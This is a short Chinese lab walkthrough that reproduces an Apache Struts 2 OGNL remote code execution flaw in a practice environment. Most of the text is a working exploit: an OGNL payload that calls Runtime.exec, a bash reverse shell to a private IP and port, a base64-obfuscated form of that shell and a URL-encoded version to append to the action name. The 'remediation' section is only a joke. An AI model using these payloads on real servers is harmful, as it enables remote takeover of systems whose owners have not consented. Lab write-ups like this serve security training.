一、漏洞情况分析
2.3.14.3 之前的 Apache Struts 2 允许远程攻击者通过带有在通配符匹配期间未正确处理的精心制作的操作名称的请求执行任意 OGNL 代码,这是与 CVE-2013-2135 不同的漏洞。
二、漏洞复现
进入靶场
开始复现
构造payload
/${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('cmd').getInputStream()),#q}.action
bash -i >& /dev/tcp/192.168.146.158/9999 0>&1
base加密
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNTgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}
url编码
bash+-c+%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNTgvOTk5OSAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D
把我们url编码后的bash反弹shell放进去,接入我们的url域名后面,同时命令端开始监听
三、漏洞处置建议
把靶场关了,跟漏洞说“白白吧